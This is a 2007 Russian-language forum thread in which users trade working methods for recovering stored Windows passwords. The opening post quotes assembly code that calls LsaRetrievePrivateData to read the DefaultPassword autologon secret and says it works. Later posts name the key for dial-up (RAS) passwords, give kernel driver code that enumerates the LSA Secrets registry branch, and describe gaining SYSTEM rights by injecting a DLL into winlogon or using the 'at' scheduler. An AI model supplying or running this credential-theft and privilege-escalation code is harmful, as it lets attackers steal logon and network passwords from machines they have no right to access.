получние пароля через LsaRetrievePrivateData

Тема в разделе "WASM.WIN32", создана пользователем rain, 3 янв 2007.

  1. rain

    rain New Member

    Публикаций:
    0
    у Ratter'a/29A есть статья "Gaining passwords" там спомошью такого нехитрого кода получаем дэфолтный пароль входа в систему:
    Код (Text):
    1. ;- Retrieving DefaultPassword -
    2. ; Lsa* apis are exported by advapi32.dll
    3.  
    4. key_name    dw  name_length
    5.         dw  name_length
    6.         dd  offset _name_
    7. _name_      dw  "D", "e", "f", "a", "u", "l", "t", "P", "a", "s", \
    8.             "s", "w", "o", "r", "d"
    9. name_length equ $-_name_
    10.  
    11.  
    12.         @pushvar <policy_handle dd  ?>
    13.     push 1
    14.     call $+5+6*4
    15.         dd  6*4
    16.         dd  5 dup(?)
    17.     push 0
    18.     calle LsaOpenPolicy
    19.        
    20.         @pushvar <private_data  dd  ?>
    21.         push offset key_name
    22.     push dword ptr [policy_handle]
    23.     calle LsaRetrievePrivateData
    24.  
    25.         mov eax, dword ptr [private_data]   ; now in eax ptr to an UNICODE string
    26.     xchg eax, ecx
    27.     jecxz next
    28.                         ; which contains the DefaultPassword
    29.     push eax
    30.     mov eax, dword ptr [eax+4]      ; now in eax the *DefaultPassword
    31.  
    32.     push eax
    33.     calle LsaFreeMemory
    34.     calle LsaFreeMemory
    35.  
    36.     push dword ptr [policy_handle]
    37.     calle LsaClose
    попроболвал, действительно работает )
    интересно откуда он это узнал что keyname в LsaRetrievePrivateData должен быть равен "DefaultPassword"?
    поискал в мсдн, не нашёл, там только про приставки к этим ключам? (может плохо искал?) поиск по форуму вывел на "L$_RasDefaultCredentials#0", который буд-то бы должен был вернуть пароль от RAS соединения, но это у меня уже не работало...
    ещё в гугле нашёл "RasDialParams!%s#0" но даже не стал проверять т.к. написано что это только для w2k
    вопрос: откуда они узнали имена ключей или где их взять, может ещё кто знает какие есть?
    ЗЫ на форуме нашёл линк на програмку dialuppass2 она кстати показывает парольчик от RAS, щас буду её курить..
     
  2. IceStudent

    IceStudent Active Member

    Публикаций:
    0
    Вероятно, отреверсили или копались в сорцах винды.
     
  3. rain

    rain New Member

    Публикаций:
    0
    как оказалось на моём w2k3 sp1 работает способ который я не стал проверять в #1 т.е. с "RasDialParams!%s#0" ... его то и юзает dialuppass2
    странно почему нет статей на эту тему, а гугл выдаёт буквально пару ссылок по теме, ведь совсем не сложно таким макаром поиметь парольчик на dialup
     
  4. Klayd

    Klayd Степан

    Публикаций:
    0
    насколько я понимаю эти ключи находятся в \\Registry\\Machine\\SECURITY\\Policy\\Secrets\
     
  5. rain

    rain New Member

    Публикаций:
    0
    Klayd
    интересно у меня такой ветки не наблюдается, поиск по реестру ключевых слов RasDefaultCredentials, RasDialParams так же как и Registry ничёго не дал
     
  6. Klayd

    Klayd Степан

    Публикаций:
    0
    Из юзермода до этой ветки не достать, винда не дает, но из драйвера, например, ее видно
     
  7. rain

    rain New Member

    Публикаций:
    0
    а есть тулзы которые позволяют просматривать\редактировать реестр из кернела?
     
  8. Klayd

    Klayd Степан

    Публикаций:
    0
    Не слышал о таких
     
  9. rain

    rain New Member

    Публикаций:
    0
    ясно, а можешь перечислить что там ещё есть? я пока не распологаю достаточными знаниями для написания драйвера
     
  10. n0name

    n0name New Member

    Публикаций:
    0
    rain
    Написать самому дело пары часов.
     
  11. Klayd

    Klayd Степан

    Публикаций:
    0
    Код (Text):
    1.              PWCHAR nameBuffer = (PWCHAR) NULL;
    2.  
    3.     RtlInitUnicodeString(&KeyString, L"\\Registry\\Machine\\SECURITY\\Policy\\Secrets");
    4.  
    5.     InitializeObjectAttributes (&ObjectAttributes,
    6.                                 &KeyString,
    7.                                 OBJ_CASE_INSENSITIVE,
    8.                                 NULL,
    9.                                 NULL);
    10.  
    11.     Status = ZwOpenKey (&KeyHandle,
    12.                         KEY_ALL_ACCESS,
    13.                         &ObjectAttributes);
    14.  
    15.     DbgPrint("\n***ZwOpenKey with status: 0x%lx", Status);
    16.  
    17.     KeyInformation = ExAllocatePool(NonPagedPool, sizeof(KEY_BASIC_INFORMATION) + 200);
    18.     while(NT_SUCCESS(Status))
    19.     {
    20.         Status = ZwEnumerateKey(KeyHandle,
    21.                                 Index,
    22.                                 KeyBasicInformation,
    23.                                 KeyInformation,
    24.                                 sizeof(KEY_BASIC_INFORMATION) + 200,
    25.                                 &ResultLength);
    26.  
    27.         nameBuffer = ExAllocatePool(NonPagedPool, KeyInformation->NameLength + 2);
    28.         memcpy(nameBuffer, &(KeyInformation->Name), KeyInformation->NameLength);
    29.         RtlZeroMemory((PVOID)((ULONG)nameBuffer + KeyInformation->NameLength), 2);
    30.         DbgPrint("\n    %ws", nameBuffer);
    31.         ExFreePool(nameBuffer);
    32.         Index++;
    33.     }
    34.     ExFreePool(KeyInformation);
    35.  
    36.     DbgPrint("\n***Status of ZwEnumerateKey: 0x%lx \n", Status);
    37.  
    38.     Index = 0;
    39.     Status = STATUS_SUCCESS;
    40.     KeyValueInformation = ExAllocatePool(NonPagedPool, sizeof(KEY_VALUE_FULL_INFORMATION) + 2000);
    41.     while(NT_SUCCESS(Status))
    42.     {
    43.         Status = ZwEnumerateValueKey(KeyHandle,
    44.                                      Index,
    45.                                      KeyValueFullInformation,
    46.                                      KeyValueInformation,
    47.                                      sizeof(KEY_VALUE_FULL_INFORMATION) + 2000,
    48.                                      &ResultLength);
    49.  
    50.         nameBuffer = ExAllocatePool(NonPagedPool, KeyValueInformation->NameLength + 2);
    51.         memcpy(nameBuffer, &(KeyValueInformation->Name), KeyValueInformation->NameLength);
    52.         RtlZeroMemory((PVOID)((ULONG)nameBuffer + KeyValueInformation->NameLength), 2);
    53.         DbgPrint("\n    %ws", nameBuffer);
    54.         ExFreePool(nameBuffer);
    55.         Index++;
    56.     }
    57.     ExFreePool(KeyValueInformation);
    Вот примерный код, который выводит содержание того ключа DbgPrint'ом
     
  12. rain

    rain New Member

    Публикаций:
    0
    Klayd,n0name пасиб буду разбираться по свободе
     
  13. IceStudent

    IceStudent Active Member

    Публикаций:
    0
    Любой редактор реестра с поддержкой установки разрешений для ключей. Выставляете админу (или кем залогинились) права на чтение HKLM\Security и дальше читаете что надо. Либо запускать редактор реестра от имени SYSTEM.
     
  14. 0x90

    0x90 New Member

    Публикаций:
    0
    rain
    я делал так. Внедрял дллку в винлогон. Дллка открывал консоль. А там уже в консоли regedit.exe и пошел.
    В результате редактор реестра у тебя будет запущен с правами системы.
     
  15. IceStudent

    IceStudent Active Member

    Публикаций:
    0
    0x90
    Проще "at" использовать (правда, в какой-то винде это исправили, но в XP SP2 ещё работает).
     
  16. rain

    rain New Member

    Публикаций:
    0
    IceStudent для ат нужна служба расписаний, а вообще вариант со службой более дзенский
    [add]
    кстати открытого парольчика нет если смотреть через реестр..
    там 5-ть подразделов:
    CupdTime
    CurrVal
    OldVal
    OupdTime
    SecDesc

    Логично предположить что CurrVal это и есть какой-то шифрованый пароль (там аж 64 хекса)